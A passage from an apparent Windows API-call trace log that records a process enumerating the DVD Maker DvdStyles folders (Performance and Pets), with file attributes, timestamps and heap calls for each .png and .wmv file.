ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0069.257] GetLastError () returned 0x12 [0069.257] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0069.257] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7021cdb8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7021cdb8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc728c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbebec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7015e6e7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7015e6e7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIconSubpict.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70053d5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70053d5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x629b, dwReserved0=0x0, dwReserved1=0x0, cFileName="performance.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0016, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0069.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0069.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0069.258] GetLastError () returned 0x12 [0069.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.258] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0069.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0069.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.259] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0069.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.259] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0069.259] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0069.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa172b8 [0069.259] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa172b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa172b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0069.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa172b8) returned 1 [0069.260] NtClose (Handle=0x124) returned 0x0 [0069.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0069.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0069.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0069.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08970 [0069.260] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0069.277] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.277] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0069.277] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0069.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16008 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14aa8 [0069.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.278] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16028 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14bb0 [0069.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.278] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.278] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.278] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16048 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14cb8 [0069.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.279] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa16068 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa14dc0 [0069.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.279] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0069.279] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0069.279] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 